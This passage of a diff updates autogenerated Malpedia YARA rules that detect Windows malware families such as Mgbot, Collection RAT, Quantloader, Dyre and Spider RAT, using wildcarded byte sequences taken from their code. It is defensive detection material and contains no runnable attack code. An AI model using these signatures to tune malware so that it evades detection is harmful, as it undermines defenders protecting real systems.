+		$sequence_7 = { dee9 d95dc0 8b45e0 83c001 8d148500000000 8b4508 01d0 }
+		$sequence_8 = { e9???????? 8b7d24 8b4510 85ff c70000000000 742b 8b4508 }
+		$sequence_9 = { dec9 d96c2424 db5c2420 d96c2426 8b742420 d9e8 dfe9 }
 
 	condition:
-		7 of them and filesize <24576
+		7 of them and filesize <6156288
 }
-rule MALPEDIA_Win_Badcall_Auto : FILE
+rule MALPEDIA_Win_Bangat_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "f6c1d400-6aaf-5cd3-88ab-d61e25f09ca7"
+		id = "a2d4fb7c-d848-52ac-b553-710b64461faf"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.badcall"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.badcall_auto.yar#L1-L157"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bangat"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.bangat_auto.yar#L1-L131"
 		license_url = "N/A"
-		logic_hash = "789bf61f14e8f6f349ef8fa3798aaa8ef35e52eb6b6c01f584f1e407643e6f98"
+		logic_hash = "795b6baa10d3ea1f31877796bf7d8c3236899cd7fc3cddcf5f5e7734a685bf62"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -145814,38 +152813,32 @@ rule MALPEDIA_Win_Badcall_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 2bc6 3d00400000 7605 b800400000 }
-		$sequence_1 = { a3???????? a1???????? 50 c705????????04000000 }
-		$sequence_2 = { 7605 b800400000 8b4f04 6a00 50 }
-		$sequence_3 = { 7557 33c0 68???????? a3???????? a3???????? a3???????? }
-		$sequence_4 = { 48 7455 48 7434 }
-		$sequence_5 = { 8b6c2414 682c010000 8bcf e8???????? }
-		$sequence_6 = { 50 c705????????04000000 ff15???????? c20400 a1???????? }
-		$sequence_7 = { ff15???????? c20400 c705????????01000000 a1???????? 68???????? }
-		$sequence_8 = { 7434 83e803 7557 33c0 }
-		$sequence_9 = { 8954240a 66c74424080200 8954240e 894c240c 89542412 }
-		$sequence_10 = { 8b6c2414 8bc7 2bc6 3d00400000 }
-		$sequence_11 = { 85c0 7e3b 8b4604 8d542418 52 }
-		$sequence_12 = { 85db 8bf9 763f 8b6c2414 682c010000 }
-		$sequence_13 = { e8???????? 85c0 7534 8bc3 2bc6 3d00400000 }
-		$sequence_14 = { 83fe01 7518 53 ff15???????? }
-		$sequence_15 = { 85c0 740e 8b4c241c 51 6a01 }
+		$sequence_0 = { 6a01 6800000040 50 e8???????? 83c43c 8bf0 83feff }
+		$sequence_1 = { 13f9 03f0 13fd 8b6c2434 89742418 03de 8b74245c }
+		$sequence_2 = { 8b442424 99 f7fe 83c408 85d2 7425 6815050000 }
+		$sequence_3 = { ff750c 50 ff15???????? 8bf0 ff15???????? 83f850 }
+		$sequence_4 = { 8b4c2474 0bc8 8b442464 0bc2 8b54244c 33f1 33f8 }
+		$sequence_5 = { 83cbff eb11 83fb01 750c 8b5004 85d2 7505 }
+		$sequence_6 = { 8b5704 8b0e 8b3a 8bc1 2bc7 7511 8b7a08 }
+		$sequence_7 = { 8b35???????? 8d45e8 68???????? 50 ffd6 8bf8 59 }
+		$sequence_8 = { 8b4b58 898184030000 8b03 3d00030000 0f8ebf000000 8b442418 8b4c2414 }
+		$sequence_9 = { 75f3 5f 5e 5d b830000000 }
 
 	condition:
-		7 of them and filesize <483328
+		7 of them and filesize <1228800
 }
-rule MALPEDIA_Win_Aytoke_Auto : FILE
+rule MALPEDIA_Win_Mgbot_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "f1478c56-9c46-5623-bd25-6c48e27a19e0"
+		id = "dd03dc94-bb3a-5cad-8f13-4bbe4b7f90a6"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.aytoke"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.aytoke_auto.yar#L1-L125"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mgbot"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.mgbot_auto.yar#L1-L114"
 		license_url = "N/A"
-		logic_hash = "7de9f368c79cc6db2fb2092fd19a4e0bd2fcaaf4a3ec4500b832560e5022850b"
+		logic_hash = "7310ce51cc81391fc78e9881bf8f490b2a783d4789728f7661df3e6bdca512d7"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -145859,32 +152852,32 @@ rule MALPEDIA_Win_Aytoke_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 6685c9 75e9 e9???????? 33c0 8bff 0fb788103a4100 66898c05fcfdffff }
-		$sequence_1 = { 3c58 770f 0fbec2 0fbe80f83b4100 83e00f eb02 33c0 }
-		$sequence_2 = { 8bd0 83e01f c1fa05 8b149500c44100 59 c1e006 59 }
-		$sequence_3 = { 56 e8???????? c1f805 56 8d3c8500c44100 e8???????? 83e01f }
-		$sequence_4 = { 90 68???????? e8???????? a1???????? 46 83c004 }
-		$sequence_5 = { 2bc2 bb5c000000 85c0 7e16 }
-		$sequence_6 = { be01000000 83c104 83c408 3bce }
-		$sequence_7 = { 33c0 8d642400 0fb7888c3a4100 66898c05fcfdffff 83c002 6685c9 75e9 }
-		$sequence_8 = { 85ff 7424 56 53 6a01 57 }
-		$sequence_9 = { 663bc1 0f85cc130000 8d95fcfcffff 52 ff15???????? 68a0000000 }
+		$sequence_0 = { 6808020000 e8???????? 6804010000 8bf0 6a00 }
+		$sequence_1 = { 6808020000 e8???????? 6804010000 8bf0 6a00 56 e8???????? }
+		$sequence_2 = { 5b 8be5 5d c20800 6808020000 }
+		$sequence_3 = { 6808020000 e8???????? 6804010000 8bf0 6a00 56 }
+		$sequence_4 = { 8be5 5d c20800 6808020000 e8???????? }
+		$sequence_5 = { 6808020000 e8???????? 6804010000 8bf0 }
+		$sequence_6 = { 5d c20800 6808020000 e8???????? }
+		$sequence_7 = { 8be5 5d c20800 6808020000 }
+		$sequence_8 = { 5b 8be5 5d c20800 6808020000 e8???????? }
+		$sequence_9 = { 0f8553ffffff 5f 33c0 5e }
 
 	condition:
-		7 of them and filesize <425984
+		7 of them and filesize <1677312
 }
-rule MALPEDIA_Win_Smac_Auto : FILE
+rule MALPEDIA_Win_Collection_Rat_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "b9e948cf-fc1c-55b5-a40e-593d0b67f4eb"
+		id = "57812c72-d174-5305-a791-07d9524d5d58"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.smac"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.smac_auto.yar#L1-L129"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.collection_rat"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.collection_rat_auto.yar#L1-L129"
 		license_url = "N/A"
-		logic_hash = "69ecbaffb88ef2eb7b0bb4fc54b666c372bcfee7df6d63633067f160f5f10295"
+		logic_hash = "47382a0b15866fbc9363efde1f8fbfda4134e668af0afa7d4fd14596481603d4"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -145898,32 +152891,32 @@ rule MALPEDIA_Win_Smac_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 66898548ffffff 8bc3 6689854affffff 58 6a74 6689854cffffff 58 }
-		$sequence_1 = { 39bd78feffff 0f86b8000000 ffb578feffff e8???????? ffb578feffff 8bf0 57 }
-		$sequence_2 = { 668945ec 668975ea 8d8598feffff 8bf4 89a578feffff 50 }
-		$sequence_3 = { 8d9d44ffffff e8???????? 6a01 33ff 8bf3 e8???????? 8b1d???????? }
-		$sequence_4 = { e8???????? 83ec1c c68424900100000e 8d842484000000 8bf4 8964245c }
-		$sequence_5 = { 8945f0 3bc3 7514 6a01 33ff 8d7508 e8???????? }
-		$sequence_6 = { 83c42c 33f6 46 5b ffb5f480ffff ff15???????? }
-		$sequence_7 = { 8986d8000000 ffd7 8986dc000000 8bc6 e8???????? c20800 6a00 }
-		$sequence_8 = { 8bf4 89a578feffff 50 e8???????? 83ec1c c645fc04 8d4528 }
-		$sequence_9 = { 66899d42ffffff 5b 6a74 66899d44ffffff 5b }
+		$sequence_0 = { 488b5567 488d4ef0 4803cf 458bc6 e8???????? 85c0 }
+		$sequence_1 = { 488d05870c0100 488bd9 488901 f6c201 740a ba18000000 e8???????? }
+		$sequence_2 = { 488b4138 8938 e9???????? 488b05???????? 488b4808 488b4130 }
+		$sequence_3 = { 4883c102 33d2 e8???????? 488b0d???????? 488b5108 48894218 488b05???????? }
+		$sequence_4 = { 0f8467010000 488bc4 48895808 48897010 48897818 4c897020 55 }
+		$sequence_5 = { 458bf0 0fb7f2 4885c9 0f84d1000000 488b9c24a8000000 4885db }
+		$sequence_6 = { 83a424b000000000 ba14000000 33c9 448d42fa e8???????? 488d0d74740200 ffd0 }
+		$sequence_7 = { e8???????? 482be0 bd00100000 488d8c24e0000000 448bc5 33d2 }
+		$sequence_8 = { 488b4a28 e8???????? 84c0 740b 488bd6 498bcd }
+		$sequence_9 = { 488b4830 4c89542450 bf03000000 897c2448 488d442468 4889442440 488d8424d0000000 }
 
 	condition:
-		7 of them and filesize <212992
+		7 of them and filesize <397312
 }
-rule MALPEDIA_Win_Quantloader_Auto : FILE
+rule MALPEDIA_Win_Goopic_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "4febf63d-0f98-5ee5-9cc6-9fa1c2da1c7c"
+		id = "af6daaef-2e7b-547b-a95b-f4526c03929f"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.quantloader"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.quantloader_auto.yar#L1-L175"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.goopic"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.goopic_auto.yar#L1-L125"
 		license_url = "N/A"
-		logic_hash = "02e93017f3318c384f200ca1e9ba6b581c4815c155dd61d906306a2c75ce48f2"
+		logic_hash = "09cf2d520274006f21b8dfb7e13c7364d612efefae1767684cd3f4a4dac575b5"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -145937,40 +152930,34 @@ rule MALPEDIA_Win_Quantloader_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8d85f8fdffff 890424 e8???????? 8d85f8fdffff 890424 e8???????? }
-		$sequence_1 = { e8???????? c7442404???????? c70424???????? e8???????? 8b450c }
-		$sequence_2 = { e8???????? 85c0 750c c70424???????? e8???????? c70424???????? }
-		$sequence_3 = { e8???????? 85c0 0f94c0 0fb6d8 c744240801000000 8b45f8 }
-		$sequence_4 = { 89442404 c7042400000000 e8???????? 83ec0c 8d85f8f7ffff 89442404 }
-		$sequence_5 = { c744240400000000 c70424???????? e8???????? 83ec14 8945f4 }
-		$sequence_6 = { c70424???????? e8???????? c744240800000000 c7442404???????? c70424???????? }
-		$sequence_7 = { 817d08???????? 7470 817d0c00704000 7467 8b4508 803800 }
-		$sequence_8 = { 8d341e 66ad 6633d0 75df }
-		$sequence_9 = { 75f1 5e 8bc6 8bf7 3bc5 7403 }
-		$sequence_10 = { 61 c3 60 8bd3 8bf2 03763c 2b5634 }
-		$sequence_11 = { 837d5400 7425 64ff3530000000 59 8b490c 8b490c }
-		$sequence_12 = { ff30 6800100000 57 81042400100000 ff550c }
-		$sequence_13 = { 61 c3 58 ffd0 837c240802 7414 64a118000000 }
-		$sequence_14 = { 5d 8bc4 ff7010 ff700c ff7008 ff5550 e8???????? }
-		$sequence_15 = { 85c0 741b a900000080 7504 8d440302 25ffffff7f }
+		$sequence_0 = { 8d85fcf7ffff 50 ff15???????? 6a00 6a00 6a00 6a00 }
+		$sequence_1 = { 57 ff742428 ff15???????? 85c0 740d }
+		$sequence_2 = { c785d0fdffff2c020000 ff15???????? 8bf0 8d85d0fdffff 50 56 }
+		$sequence_3 = { 50 8b08 ff11 8b442414 50 }
+		$sequence_4 = { ff15???????? 8bd7 8d8df8bfffff e8???????? 57 68???????? ff15???????? }
+		$sequence_5 = { 8bfa ffd6 8bd8 895dfc }
+		$sequence_6 = { 50 6aff 68???????? 6a00 6a00 ffd7 8d842448190000 }
+		$sequence_7 = { 0f8664ffffff 8b4dfc 33c0 5f 5e 33cd 5b }
+		$sequence_8 = { 53 ff15???????? 8bf8 85ff 0f84f4000000 56 6a00 }
+		$sequence_9 = { c785c0fdffff305d4000 eb0a c785c0fdffff245d4000 8d85b4fdffff c785c4fdffff3c5d4000 50 }
 
 	condition:
-		7 of them and filesize <155648
+		7 of them and filesize <114688
 }
-rule MALPEDIA_Win_Sisfader_Auto : FILE
+rule MALPEDIA_Win_Boatlaunch_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "1937373c-a869-5de8-8c47-c30db9548d3e"
+		id = "109242da-f9c2-50c8-b49d-1f772a8283fe"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sisfader"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.sisfader_auto.yar#L1-L291"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.boatlaunch"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.boatlaunch_auto.yar#L1-L169"
 		license_url = "N/A"
-		logic_hash = "288baaa87a5a9f6675c09b00537afbaf23a5deab091befb8544155fddb8ada09"
+		logic_hash = "efa924e2b3901352dc645d99e6dd6dafbe8ab78c7c6ccaefe300da9883a180c7"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -145982,54 +152969,40 @@ rule MALPEDIA_Win_Sisfader_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 85c9 741f 33c0 85c9 }
-		$sequence_1 = { e8???????? 85c0 b91d000000 0f44d9 }
-		$sequence_2 = { 8906 83f824 723e b824000000 }
-		$sequence_3 = { 8b4dfc 51 8b55f8 52 e8???????? 83c408 8945f4 }
-		$sequence_4 = { 33d2 b904000000 e8???????? 33c0 83f801 7425 baffffffff }
-		$sequence_5 = { 83793000 0f85be000000 8b55fc 8b45f0 }
-		$sequence_6 = { 837c245000 7402 eb12 c744245401000000 33c0 }
-		$sequence_7 = { c705????????07000000 8b442438 8905???????? c705????????00000000 8b442440 8905???????? c705????????b80b0000 }
-		$sequence_8 = { 837c242001 7425 837c242002 7441 837c242003 745d 837c242004 }
-		$sequence_9 = { 85c0 752b 8d45f8 c745f882000000 50 8d8618010000 50 }
-		$sequence_10 = { 66837c246c2e 7518 0fb74c246e 6685c9 }
-		$sequence_11 = { 83790800 745d c745f800000000 eb09 8b55f8 83c201 }
-		$sequence_12 = { 746b c744242000000000 eb0a 8b442420 }
-		$sequence_13 = { 6a04 e8???????? 83c40c 8b4d0c 51 }
-		$sequence_14 = { 8b442448 89442420 837c242001 7402 eb05 e8???????? }
-		$sequence_15 = { 8b45f0 83781000 750e 8b4df0 8b510c 0355cc 8955e4 }
-		$sequence_16 = { 0fb74c247e 6685c9 0f84cd010000 6683f92e 750f }
-		$sequence_17 = { 720b 03f0 eb9c 5f 5e 33c0 5b }
-		$sequence_18 = { e8???????? b90e000000 ff15???????? 33c0 e9???????? e9???????? ff15???????? }
-		$sequence_19 = { 745d 837c242004 7479 837c242005 0f8480000000 }
-		$sequence_20 = { ebbc 8b4dfc 8b5108 52 ff15???????? 83c404 8b45fc }
-		$sequence_21 = { 8d8574fdffff 6804010000 50 6a00 ff15???????? 8d8574fdffff }
-		$sequence_22 = { 7426 8b4f04 85c9 741f }
-		$sequence_23 = { 8139aaeeddff 0f858e000000 8b4104 85c0 }
-		$sequence_24 = { 8b45fc 8b08 83792800 7457 }
-		$sequence_25 = { 85c9 7513 ffb318020000 ff15???????? 33c0 5b }
-		$sequence_26 = { 8b45ac 894610 8b45b0 894614 ff15???????? 66894604 8d45e8 }
-		$sequence_27 = { 8b55fc 8b4230 50 ff15???????? 83c404 }
-		$sequence_28 = { ba08020000 0f114014 c7400856120000 89580c c700aaeeddff }
-		$sequence_29 = { 85c0 7416 0f1f4000 8bc1 83e00f 8a0430 30441124 }
+		$sequence_0 = { 4883611000 4883612800 488d4dd8 48c7c2ffff1f00 4c8d45e0 4c8d4d10 }
+		$sequence_1 = { e8???????? 8945e4 6a00 ff75e0 }
+		$sequence_2 = { 2b75ec 0375e4 8b4324 2b45ec 0345e4 }
+		$sequence_3 = { 488d4df0 e8???????? 48c7c1ffffffff 488d55f0 448bc3 e8???????? 3b8558110000 }
+		$sequence_4 = { 480375c8 8b4324 2b45c0 480345c8 488945d0 8b5b18 ad }
+		$sequence_5 = { 85f6 7599 488b0d???????? 33d2 4c8b4500 }
+		$sequence_6 = { 3b8560110000 7526 488b45d0 0fb730 }
+		$sequence_7 = { 488d4dd0 48c7c200001000 4c8d45e0 4c8d4d10 e8???????? 3d0b0000c0 7427 }
+		$sequence_8 = { 50 68ff0f1f00 8d45fc 50 }
+		$sequence_9 = { 8bfe 49 85c9 75ee }
+		$sequence_10 = { e8???????? 8bd8 85db 7452 53 }
+		$sequence_11 = { eb09 8345e802 4b 85db 75af }
+		$sequence_12 = { 50 e8???????? 3d0b0000c0 7423 6a00 ff75f8 e8???????? }
+		$sequence_13 = { 5b 5d c3 48894c2408 89542410 4489442418 }
+		$sequence_14 = { 488b45d8 488d6528 415b 415a 4159 4158 }
+		$sequence_15 = { 8d5ddc c70318000000 c7430400000000 c7430800000000 c7430c00000000 }
 
 	condition:
-		7 of them and filesize <417792
+		7 of them and filesize <33792
 }
-rule MALPEDIA_Win_Spider_Rat_Auto : FILE
+rule MALPEDIA_Win_Sepulcher_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "8b8fb932-c9c0-5d1a-a1ff-94b4f85b8abe"
+		id = "666ccc80-c712-59f8-bf12-61bac5486b32"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.spider_rat"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.spider_rat_auto.yar#L1-L132"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sepulcher"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.sepulcher_auto.yar#L1-L124"
 		license_url = "N/A"
-		logic_hash = "86dc62debebef6e9c395034c4368c0804fc586029188907fa2c1533f611f9771"
+		logic_hash = "fea20fdb29a4a6cc26bf9baf225a8110e30f06d577e665b386797a74632bb5da"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -146041,32 +153014,32 @@ rule MALPEDIA_Win_Spider_Rat_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { e9???????? 4883c708 488b1f 488bd3 488d8c2490000000 e8???????? }
-		$sequence_1 = { 418bc3 4c8d5c2460 498b5b18 498b7328 498be3 5f c3 }
-		$sequence_2 = { 488b6c2438 488b742440 8958f0 488b07 4863cb 488b5c2430 c6040100 }
-		$sequence_3 = { e8???????? 488b4d70 4883c160 ff15???????? 90 488d05b726fbff eb00 }
-		$sequence_4 = { 84c0 7471 4885f6 7505 83fd01 7415 488b8f88000000 }
-		$sequence_5 = { 7458 6683fa01 7452 ff15???????? 4c8bc6 8bd5 0fb7cb }
-		$sequence_6 = { 7410 488b8f88000000 e8???????? 85c0 7802 33db 8bc3 }
-		$sequence_7 = { 498bd8 488bf2 488bf9 4d85c0 7430 4885d2 742b }
-		$sequence_8 = { ff15???????? 488bc8 e8???????? 488d15d3b00300 488bce 488905???????? ff15???????? }
-		$sequence_9 = { ba03000000 488d442440 448d4a61 448d42fe 4889442420 e8???????? }
+		$sequence_0 = { 56 57 6a43 8bf9 58 6a4d 8db784480000 }
+		$sequence_1 = { 7515 6a04 8d45bc 50 e8???????? 8b4db8 8bd0 }
+		$sequence_2 = { 58 6a74 59 6a53 668945ea 58 }
+		$sequence_3 = { 0fb71408 8bc2 c1e002 66393408 75f1 }
+		$sequence_4 = { eb1a 8d45fc 50 8b04bd50de0110 ff743018 }
+		$sequence_5 = { 668945d2 b8???????? 66894db4 66894dba 66894dc0 }
+		$sequence_6 = { 56 57 6a5a 58 6a52 }
+		$sequence_7 = { c1f906 6bd030 8b45fc 03148d50de0110 8b00 894218 }
+		$sequence_8 = { 8bd8 895db0 8d0c4dffff0000 51 57 53 e8???????? }
+		$sequence_9 = { 58 6a33 668945e8 668945ea 58 6a32 668945ec }
 
 	condition:
-		7 of them and filesize <1107968
+		7 of them and filesize <279552
 }
-rule MALPEDIA_Win_Zlob_Auto : FILE
+rule MALPEDIA_Win_Rokku_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "4fad6172-d1e7-5d84-af68-8861117c390a"
+		id = "75b8aef9-2da5-556e-9635-075190f42681"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.zlob"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.zlob_auto.yar#L1-L129"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.rokku"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.rokku_auto.yar#L1-L129"
 		license_url = "N/A"
-		logic_hash = "31e17a6dc34e33dac3ecb614a6996745d9221261fdc2596cb1f9e420f9dc5bc9"
+		logic_hash = "3a863d12b65613db8f002333dfdefeb5bdf603888d10aa587187b07349134f7e"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -146080,32 +153053,32 @@ rule MALPEDIA_Win_Zlob_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { ffd6 ffd7 68???????? e8???????? c70424???????? 68???????? }
-		$sequence_1 = { 50 ff742434 ff15???????? ff742414 e8???????? ff74242c 8b4c243c }
-		$sequence_2 = { 5d 8bcb 5b 83c404 ff6024 51 51 }
-		$sequence_3 = { 50 e8???????? 8b4508 83c410 83780400 7533 8d85f0eaffff }
-		$sequence_4 = { 58 2bc2 03c8 f644240c02 7504 8d4c7102 8bc1 }
-		$sequence_5 = { 56 8b35???????? 57 8b3d???????? 0f8407020000 837d10ff }
-		$sequence_6 = { ffd7 8b442414 6a01 6a00 6a00 ff30 ff15???????? }
-		$sequence_7 = { ff74242c 8901 50 e8???????? 83c410 ffd3 }
-		$sequence_8 = { ff75e8 8d4dbc e8???????? ff45f8 8b45f8 3b45e4 0f8cedfdffff }
-		$sequence_9 = { 57 8b3d???????? 89442410 8b4508 8b4c2410 }
+		$sequence_0 = { 0f2805???????? 0f114561 8ac1 028541ffffff 30840d42ffffff }
+		$sequence_1 = { 8bc1 8b942444000300 0bc2 0f8456020000 6a06 }
+		$sequence_2 = { 8d141b f7ea 8bf8 8bda 8bc1 f76c2470 03f8 }
+		$sequence_3 = { 89442438 8b44246c 89442418 8b442468 89442414 8b442464 89442444 }
+		$sequence_4 = { 8b0e e8???????? 33c9 84c0 0f454d08 890e eb1f }
+		$sequence_5 = { c706???????? 8365fc00 8b4e04 85c9 740d 8b01 ff5010 }
+		$sequence_6 = { 13ea f76c2454 896c2420 01442410 8d0436 8b742460 }
+		$sequence_7 = { 8b7a18 8b5220 337918 335120 23fd 8b4824 23d5 }
+		$sequence_8 = { 894d10 8b4c2414 0fa4c119 8b4c2468 c1e019 2bf0 8bc7 }
+		$sequence_9 = { 55 56 57 898c24ac000000 8b02 89442454 8b4204 }
 
 	condition:
-		7 of them and filesize <98304
+		7 of them and filesize <548864
 }
-rule MALPEDIA_Win_Dyre_Auto : FILE
+rule MALPEDIA_Win_Jasus_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "a2cdb89d-a2b8-54db-b921-a02d048236a7"
+		id = "f0f57156-3d71-51a0-8417-ea38ed1ea26d"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.dyre"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.dyre_auto.yar#L1-L170"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.jasus"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.jasus_auto.yar#L1-L128"
 		license_url = "N/A"
-		logic_hash = "e9097ad46c004cb1ae831fc1ba01674dc80d073ddf943ce6f2fcdbae48599a8a"
+		logic_hash = "8597018770d02606e940d401ffb7afc270f8035f09e3cd93e76c94000290c2f1"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -146119,79 +153092,78 @@ rule MALPEDIA_Win_Dyre_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 6814020000 e8???????? 59 c3 }
-		$sequence_1 = { e9???????? 68f4010000 ff15???????? 56 }
-		$sequence_2 = { 7244 6801010000 ff15???????? 8b4d18 663901 }
-		$sequence_3 = { 7502 c9 c3 33c0 837dfc20 }
-		$sequence_4 = { 0fb7c8 c1e110 e8???????? 0fb7c0 0bc1 c9 c3 }
-		$sequence_5 = { 773d 0fbec0 83e857 8ada 2ad9 c1e004 80fb09 }
-		$sequence_6 = { c1fa02 8b1496 83e103 c1e103 }
-		$sequence_7 = { 41 3bc8 7cf4 83f903 }
-		$sequence_8 = { 57 4883ec20 4032ff 488bda 8bf1 4885d2 }
-		$sequence_9 = { 488bc8 ff15???????? 85c0 7455 4c8d442434 }
-		$sequence_10 = { 488bcb e8???????? 4c8d5e01 41b8f7ffffff 6666660f1f840000000000 488bcf 418d4008 }
-		$sequence_11 = { 4433c0 418bc5 23c6 33c8 418bc1 4403c1 }
-		$sequence_12 = { 663907 7530 8b4604 394704 7528 8b4608 394708 }
-		$sequence_13 = { 498d43e8 33ff 488bf2 498943d8 498d4318 488bd9 488bd1 }
-		$sequence_14 = { 440fb69c249f000000 0fb68c249d000000 0fb694249c000000 440fb694249b000000 }
-		$sequence_15 = { 488bcb e8???????? 85c0 750d 33c0 488b5c2430 }
+		$sequence_0 = { 50 51 6689956cffffff ffd3 83c40c 833d????????00 }
+		$sequence_1 = { 8955f8 8955e8 8955ec c745f0ffffffff 84c0 7410 8d642400 }
+		$sequence_2 = { 84c0 7543 8b45fc 85c0 745a 68???????? }
+		$sequence_3 = { 39580c 0f828d000000 0fb71437 8b4e1a 33c0 89442414 89442418 }
+		$sequence_4 = { 8945f0 894df8 b801000000 837dec00 745d 85c0 7559 }
+		$sequence_5 = { 8b1481 40 89560c 8906 8b5e0c 895e14 8a03 }
+		$sequence_6 = { 47 897e14 897e70 c686c800000043 c6864b01000043 c74668d0f24100 6a0d }
+		$sequence_7 = { 894de8 8945e4 c745ec00c94100 c745f001010000 c745f41e010000 c745f80f000000 }
+		$sequence_8 = { 8bc6 c1f805 8d1485809d4300 8b0a }
+		$sequence_9 = { e8???????? 0fb71d???????? 8945fc 0fb705???????? 56 68???????? e8???????? }
 
 	condition:
-		7 of them and filesize <590848
+		7 of them and filesize <507904
 }
-rule MALPEDIA_Win_Voidoor_Auto : FILE
+rule MALPEDIA_Win_Coredn_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "71f97a7b-09b8-5977-a64d-26462fe6285b"
+		id = "06de0230-4bd5-5e45-a730-cba0310a794f"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.voidoor"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.voidoor_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.coredn"
